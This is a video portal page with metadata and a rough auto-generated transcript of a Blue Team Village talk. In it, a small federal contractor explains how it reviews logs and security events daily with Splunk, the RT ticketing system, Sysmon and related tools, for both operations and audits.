BLUE TEAM VILLAGE - Effective Log and Events Management

Video thumbnail (Frame 0) Video thumbnail (Frame 4217) Video thumbnail (Frame 5231) Video thumbnail (Frame 5879) Video thumbnail (Frame 6639) Video thumbnail (Frame 8373) Video thumbnail (Frame 9941) Video thumbnail (Frame 10979) Video thumbnail (Frame 11527) Video thumbnail (Frame 14141) Video thumbnail (Frame 16183) Video thumbnail (Frame 17206) Video thumbnail (Frame 18715) Video thumbnail (Frame 19589) Video thumbnail (Frame 21030) Video thumbnail (Frame 21762) Video thumbnail (Frame 22588) Video thumbnail (Frame 23131) Video thumbnail (Frame 23670) Video thumbnail (Frame 24429) Video thumbnail (Frame 24851) Video thumbnail (Frame 25767) Video thumbnail (Frame 26236) Video thumbnail (Frame 26799) Video thumbnail (Frame 27222) Video thumbnail (Frame 27708) Video thumbnail (Frame 28483) Video thumbnail (Frame 29239) Video thumbnail (Frame 29690) Video thumbnail (Frame 30421)
Video in TIB AV-Portal: BLUE TEAM VILLAGE - Effective Log and Events Management

Formal Metadata

BLUE TEAM VILLAGE - Effective Log and Events Management
Title of Series
CC Attribution 3.0 Unported:
You are free to use, adapt and copy, distribute and transmit the work or content in adapted or unchanged form for any legal purpose as long as the work is attributed to the author in the manner specified by the author or licensor.
Release Date

Content Metadata

Subject Area
Logs, right? Do you run an expensive SIEM? If not, this talk is for you. An effective process for managing logs and security events with built-in and open-source tools will be detailed. I'll share reports and tickets from our organization and describe how we analyze them to improve IT operations, situational awareness, security posture, and pass audits.
Slide rule Presentation of a group Context awareness Statistics Multiplication sign Function (mathematics) Login Event horizon Online chat Operator (mathematics) Utility software Process (computing) Information Information security Physical system Area Operations research Computer font Simulation Dependent and independent variables Sound effect Incidence algebra Software maintenance Data management Process (computing) Integrated development environment Blog Order (biology) Right angle
Source code Service (economics) Link (knot theory) Key (cryptography) Incidence algebra Twitter Number Blog Operator (mathematics) Self-organization Hacker (term) Traffic reporting Information security Exception handling
Trail Context awareness Group action Server (computing) Source code Price index Process capability index Login Tracing (software) IP address Product (business) Software bug Data management Direct numerical simulation Latent heat Cross-correlation Strategy game Virtuelles privates Netzwerk Different (Kate Ryan album) Integrated development environment Diagram Proxy server Information security Physical system Mobile Web Context awareness Source code Default (computer science) Information Firewall (computing) Lattice (order) Cartesian coordinate system Subject indexing Type theory Data management Software Integrated development environment Blog System programming Self-organization Physical system Window Router (computing)
Torus Trail Email Scheduling (computing) Touchscreen System administrator Login Event horizon Field (computer science) Product (business) Subject indexing Type theory Data management Cross-correlation Process (computing) Integrated development environment Different (Kate Ryan album) Blog Core dump Resultant Writing Physical system Task (computing)
Email Scheduling (computing) Backup Server (computing) Dependent and independent variables System administrator Real-time operating system Mathematical analysis Function (mathematics) Login Data management Cross-correlation Database Diagram Process (computing) Router (computing) Information security Backup Physical system Authentication Touchscreen Real number Basis <Mathematik> Lattice (order) Flow separation 1 (number) Subject indexing Type theory Data management Process (computing) Event horizon Database Function (mathematics) Blog Figurate number Automation Physical system Resultant Router (computing)
Area Boss Corporation Software bug Group action Proxy server Firewall (computing) Building Multiplication sign Electronic mailing list Function (mathematics) Plastikkarte IP address Timestamp Virtuelles privates Netzwerk Root Blog Virtuelles privates Netzwerk Data Encryption Standard Right angle
Email Execution unit Server (computing) Link (knot theory) Multiplication sign Source code Virtual machine Login IP address Software bug Plane (geometry) Type theory Integrated development environment Drill commands Normal (geometry) Cuboid Right angle Remote procedure call Communications protocol Physical system Window Physical system
Email Building Computer file Range (statistics) Heat transfer Function (mathematics) IP address Software bug Connected space Number Process (computing) Integrated development environment Different (Kate Ryan album) Intrusion detection system Authorization Self-organization Right angle Quicksort Address space
Area Building View (database) Projective plane Plastikkarte Basis <Mathematik> Timestamp Uniform resource locator Integrated development environment Order (biology) Data center Website Proxy server Resultant
Server (computing) Mathematics Electric generator Computer file Blog INTEGRAL Function (mathematics) Element (mathematics) Window
Server (computing) Firewall (computing) Shared memory IP address Type theory Web application Mathematics Software Blog Blog File system Router (computing) Belegleser Message passing Information security Physical system Window Vulnerability (computing)
Type theory Game controller Intrusion detection system Pattern language IP address Position operator Number Electronic signature Software development kit
Server (computing) Standard deviation Computer virus Computer file Workstation <Musikinstrument> Electronic signature Vector potential Product (business) Royal Navy Antivirus software Malware Integrated development environment Query language Pattern language Window Physical system
Slide rule Disintegration Computer network Medical imaging Type theory Integrated development environment Authorization Configuration space Office suite Software framework Configuration space Implementation Information security Matrix (mathematics) Physical system
Medical imaging Process (computing) Office suite Physical system
Scripting language Computer file Structural load Price index Function (mathematics) IP address Number Connected space Vector potential Frequency Process (computing) Software Integrated development environment Matrix (mathematics) Normal (geometry) Remote procedure call Physical system
Web page Process (computing) Hypermedia Optics Hypermedia Optics Source code Data storage device Letterpress printing Letterpress printing Window
Addition Dataflow Execution unit Mathematics Blog Configuration space Musical ensemble
Authentication Authentication Website Video game console Traffic reporting
Dependent and independent variables Server (computing) Dependent and independent variables Real number Combinational logic Online help Mathematical analysis Event horizon 1 (number) Data management Data management Process (computing) Database Function (mathematics) Blog Normal (geometry) Process (computing) Backup Physical system Router (computing) Physical system
um we're gonna start our next talk in just one minute it's gonna be by Russell and it's gonna be on effective log and event management thank you all right
thanks guys this is great the turnout here is amazing I hope everybody sticks around the blue team village you know check out the CTF and everything else that's going on so I'm here today to talk about effective login events management I work for a small federal government contractor in the DC area and we run systems and have to maintain FISMA ATO and Samar a my department is actually responsible for IT ops and for security because it's a small company like I said so for us monitoring and logging events management it's a central for IT ops to ensure availability performance and utilization as well as for information security you know and for compliance to detect malicious activity and show that we actively monitor our environment and review our logs to satisfy the audit and compliance requirements so in the presentation today I'm going to share with you the process that my team and I have developed to effectively manage logs and security events in our environments because we're not a large business we had to develop a process rather than purchasing a big naming sim and we prefer to manage everything almost entirely internally rather than hiring vendors and outsourcing you know to retain knowledge so they're gonna be lots of examples in the presentation of tickets actual tickets output from our environment so I was going to invite everyone to move forward to see but we're pretty packed but I'm actually happy here that the setup with the slides and the wall you'll be able to see pretty well what I'm talking about so I'm going to do a quick kind of like overview of what we do and why and then I'll get into lots of examples to show you it's a lot of slides I'm gonna go pretty fast because it's a short talk and I'm probably not gonna have any time for questions if you want to chat I'm gonna hang around for a while I'll just move to the back of the room please feel free come up we can talk about what I do what you do pros and cons you know it's all all right so briefly why is monitoring important while monitoring it improves your IT operations and your knowledge and visibility into your environment it improves the situational awareness and knowing what your you know your baseline statistics are ie what is normal the more you monitor and review your IT ops the better your situational awareness and knowledge of what's normal will be second monitoring is important to information security in order to identify and detect malicious activity and breaches and proper logging is critical to Incident Response third monitoring particularly documented daily review is required for many compliance requirements according to the latest
Verizon DB IR which the graphics came out like last week you can find them on a link to it on Twitter internal log Review is the least used method for discovering breaches in 2017 I find that astounding I don't know if you do but I find that astounding according to their data the number one method for discovering breaches in 2017 was reported by an external customer followed by employee then fraud detection then third parties such as external monitoring services so why aren't organizations identifying breaches from internal log review I suspect it's because few are dedicating the resources it takes to adequately perform but without it you're exposing your business reputation and allowing breaches to go undetected recent fire
our report said that it takes a hundred and forty six days for breaches to be detected other reports have said anywhere from 99 to 500 or more days right monitoring is critical for incident detection you'll want to wait for a customer or Brian Krebs to notify you that you've had a breach so daily manual review of log exceptions is a key to security operations and incident detection so if this is new to you you're asking well how do I go about daily log review well first you have to
decide what to log and monitor so this is a diagram from a blog post by Jessica Payne called monitoring what matters and this is what Microsoft's Incident Response Team often finds when they're called in to do I are many organizations either log way too much without the proper context or not enough nothing other than the system default logging capability you need to decide what logs to gather and review based on your business needs and not the you know and the resources you have to analyze them and then you have to set up tools to manage and process your logs so you're not drinking from
fire hose so these are some of the log sources you should focus on your server logs windows event logs and syslog security tool and network device logs maybe even web proxy logs DNS request logs there's lots of information in there right and logs from your applications especially if you're hosting systems tracking logins and user activity looking for other anomalies and logs from endpoint devices using tools like Windows System own or mobile device management products so in determining your monitoring strategy you need to determine what's critical to the business and that can vary depending on the type of business you are right a retail business is going to have really different needs and resources to spend on monitoring than a government contractor or an information security company this may be determined for you depending on compliance requirements if you have to meet PCI HIPAA FISMA gdpr etc the hard work is in tuning the monitoring system to your environment this is where a log management system or a log or later or sim comes in they allow you to centralize your log data correlate index and ultimately do stuff with your logs like writing searches to track activity from a specific user or IP address and turn the log data into actionable information so at my company
we use Blunk there are plenty of products in this market including the blue team village sponsor gray log Splunk is free for indexing up to a gig a day I believe gray log is free for up to five gigs a day so you don't have to buy a license to use these tools it obviously depends on how large your environment is but after that they usually tend to charge you based on how much log data you ingest per day so at its core these tools are log aggregators and indexers they give you the ability to search and correlate log data or just look for stuff there are also lots of dashboards you can download or purchase to help you analyze the data from different vendors and then you can write searches to produce the results that you need to review you can save those searches and then you can run them on a schedule like a cron or a scheduled task so when you run those searches you then send the results in an email to some type of ticket management system you're gonna write searches to look for things like daily VPN logins admin logins root logins etc
once you have a log management system and you've tuned the searches you need to set up a process to review them and this is where you need to use a ticketing system so we use our T's anyone heard of Artie okay great a few people huh so Artie it's a web-based ticketing system or is through issue tracking system as they call it it's actually written in Perl believe it or not and it was first released in 96 but it still actively maintained it's a great lightweight free ticketing management system these tickets have standard information like you would see in most issue tracking systems like when it was created the owner of the priority etc and the search results screen you know you can search based on most of the ticket fields so our log and events
management process is pretty simple you configure logging and send all of your logs to your indexer then you develop and automate the running of searches that produce output of data that you care about like administrator logins then you email those results into a ticketing system automated on some kind of schedule and then you review them on a daily basis here's a workflow diagram
so I can't see it on my screen so we look over here like I talked about on the far left you've got all your logs right servers routers switches infrastructure databases you're feeding them into some type of correlator we're just using squonk that's why that's there so with the data that's there we developed searches we have some 1 to 5 minute or like real-time searches that look for high severity issues and when those come up they actually send alerts to our team and you know we'll go look and figure out what's going on and resolve the issue and then we have all of the daily tickets that we review on every on a daily basis and so those are like IT ops things like backup success and failure security things system access and authentication even customer support tickets like you can throw everything in there so we review this tickets like I said on a daily basis if the ticket you know your original search produces way too much data like you know 18 screens of stuff which isn't reasonable to review every day or there's not enough we'll go back and modify the search and output criteria to continually improve the results in the process and then what's great if you have to meet compliance requirements like we do sSAE 16 or sock audits or if you have to meet FISMA compliance or anything else when our auditors come out they know about this process so they asked me you know Russell what's changed in the last year what are you doing that's new and then they say okay give me all your tickets for these five weeks and I simply like create PDFs of everything and throw them at them and they go through and review them and just ask me questions so that's way easier than having to like go through and explain all kinds of things showing them how you review logs having all the history documented that you closed them every day at least for us satisfies our auditors so we use this process to
generate about 50 daily tickets here's a list of the subjects for some of those tickets next I'm going to start reviewing some examples in detail until I run out of time so this is our VPN
users ticket and the output here it comes from our VPN endpoint and so in the left hand column you see that's you know VPN endpoint and then you've got your username the action timestamp of course and then on the far right we've got the fqdn rather than then the IP address and the reason that we did that is because we're pretty small company in the DC area and we know where most of our people live right so we review this every day and if we see that you know Todd logged in from Mexico and we didn't know he was in Mexico then you know we're gonna go ask and find out is he on vacation or do we need to do I are with this you know what's going on even more local than that you can see in some of the fqdn Baltimore Maryland FiOS I think this one that says DC right so people have actually become accustomed to this they oh we're looking now and so when people are going occation they come to us and they're like hey guys I'm going on vacation next week so if you see and I usually log in don't go to my boss and ask them what I'm doing right I don't like you have to go to their boss and I said what is Bob doing all right this is
our RDP logins daily ticket if you don't know what RDP is that's Remote Desktop Protocol for Windows it's the way you remotely log into a Windows machine right so here we get the time stamp again and this one we have source IP address but I'm going to block this all out the username the server name whether or not they successfully logged in again this allows us to look for what's normal versus anomalous activity because we're pretty small environment we actually look at all the successes every day not just the fails right bigger companies can't do that it's just way too much information but as a smaller company we look at the successes as well and we tend to know when people are logging in so if we see something in an unusual time we may go ask them why'd you log into 3m last night we never see you log in after like 7:00 o'clock again you
want to know what's normal in your environment to help you find an honest activity right this is a system daily ticket that shows automated logins this is a Linux box you can see sshd logins but it's the same type of ticket and we review these every day this is our daily
outbound attachments ticket so these are email attachments from our organization going outbound it's sort of a high-level DLP because we can scan the names of all the files leaving the building and look for anomalies or things that look bad for example if it says something goes out that says salarino from HR maybe go into the HR person's personal email address we would go inquire as to what's going on there or an executive emailing something called like transfer authorization that wouldn't be normal you'd want to figure out what's going on you know you can just watch out for unusual or potentially bad activity simply by reviewing this you know obviously this isn't a DLP solution right they do way more than this but it's a good place to start if you're on a budget it's also maybe a good manual process if you do have automated DLP but you're not really looking at what people are emailing out again this is going to
depend on the size of your environment if you can do this this is a daily waa connections ticket so this is actually right your iPhone or your Android device if you're running exchange in your environment yourself you can produce this output and this is showing IP address people IP addresses people who are connecting from and their device ID so what would be interesting here maybe a large number of device IDs well then we know the person has like a phone and an iPhone and not more than that or maybe the same IP or range of IPs trying to log in as lots of different users especially ones that don't exist in our environment this is an example of a
proxy violations alert so this isn't a daily this is one of those real-time tickets and this actually runs I think every 15 minutes but we get this when a user attempts to browse somewhere to a site that's blocked by our project
something else we look at on a daily basis this is our daily building access ticket because we're pretty small again it's not a huge amount of data so we have to take entire view every day that shows every swipe with every key card in our building I look at it you know for unusual activity like failed swipes into restricted areas or people trying to access things after hours we get the timestamp for the swipe the keyholder name the building location and the result access granted our access to nine it's a quick way to look for unusual activity and I talked to other folks and they say you know there's no way I can't look at that it's too much and maybe they'll look at fails or they can automated alerts when someone tries to go to the data center it doesn't have access but if your environment isn't that large you might want to look at who does go in for successes we've spotted things that are unusual we've had to figure out what's going on so in order to monitor
file integrity on servers we use tripwire as well as some other tools and generate daily tickets to review the
output from those like this is an example daily tripwire ticket we actually separate them so we get a ticket every day for Linux servers a ticket every day for Windows and a ticket for Solaris if it no one knows what's lares is it shows changes since the last baseline so these are file changes and things like changes to Reggie's this is our daily DFS ticket
DFS for the uninitiated is the Windows distributed file system it's basically windows file shares but it's distributed across multiple servers and so here we're looking for we're looking at certain shares we don't look at all of the changes to DFS because even a small company that's huge you know it's really noisy but we look at like the HR documents or proposals folder things like that and look for unusual activity this is again maybe more for like insider threat type of review but it shows us if people are snooping around and trying to get access to things that they shouldn't we monitor logs from our
network security devices and tools such as our firewalls routers intrusion prevention and detection and web application firewalls and from our vulnerability scanners so this is an IPS
daily ticket it shows the number of IPS alerts per signature or control type we use this to look for different patterns in the type of alerts our IPS is detecting this is a real-time alert from an IDs it
matched a signature for an exploit kit I think it was angler and so you see we get timestamp right the destination IP the URI and when we get these real-time alerts we take a quick look at them and use them to determine if we need to you know dive and IR or do any more investigating obviously you get a lot of false positives so endpoints are
arguably the most important assets monitor because that's where your users can do stuff we use a standard commercial antivirus product for one layer of detection and it automatically sends us text and generates a ticket when a navy signature is hit we also conduct a daily review of pattern file updates and the status of agents but most valuable in our environment we've deployed system on across all of our workstations and windows servers and system one is configured to alert us to potential malicious behavior on endpoints based on search queries that we've configured this is an antivirus
alert from one of our endpoints notifying us a possible malware infection for system on we use the Swift
on security config as a baseline and we modified it for our environment mostly excluding the items that don't apply to us before system on our endpoint
visibility was pretty limited with no ability to monitor behavior and activity on endpoints we deployed system on and Splunk forwarders to the endpoints you know it sends all the data from system on into Splunk and we run searches to generate alerts on malicious activity and also for daily review we're working on integrating the mitre attack framework into this as well so we have system own alerts generated for all of these types of activities unauthorized image activity you can read them all they're going to go through a few slides this is an unauthorized image
activity alert so this was triggered by I think this is an image launching command dot exe
this is a system one suspicious child process alert this is looking for malicious processes coming out of office docks this is an example of a system and
potential Network outbreak so this is triggered when one endpoint connects to more than four destination IPs and the five minute period so we tuned this for our environment this is more than the normal number of outbound connections so that's the number we landed on for deciding you know we want to see those so we can go look and see if this is an indicator of compromise this is an
example of a system on suspicious register for thirty-two process if you didn't know register for thirty-two can load remote malicious script files this is right out of the mitre attack matrix we also monitor output data including
print jobs writes to optical media and USB storage device activity ticket this
shows us all the windows print jobs McQueen of the internal source PC the page is the job this is kind of looking for us but
[Music] things just anime us instead of on-prem reaction AWS is based on API call like user additional permission changes etc [Music] looking for abnormal behavior and yes config and VPT flow logs this is the it
provides a dashboard giving a nice high-level overview the user activity
this is a reports on AWS console authentication is both failures and successes this is all the site is
showing on your Logan events management process so I leave this here for a couple minutes this process says that describes this will enable you to understand what normal iti look like customizer detection capabilities and it'll help you performed it's in response while the server that compliance requirements for your auditors you can implement this with the tools that I mentioned systolic's blog RT or any other combination of log management and ticketing system so
that's out there for everyone if you want to take a look at it and I'll be back thank you [Applause]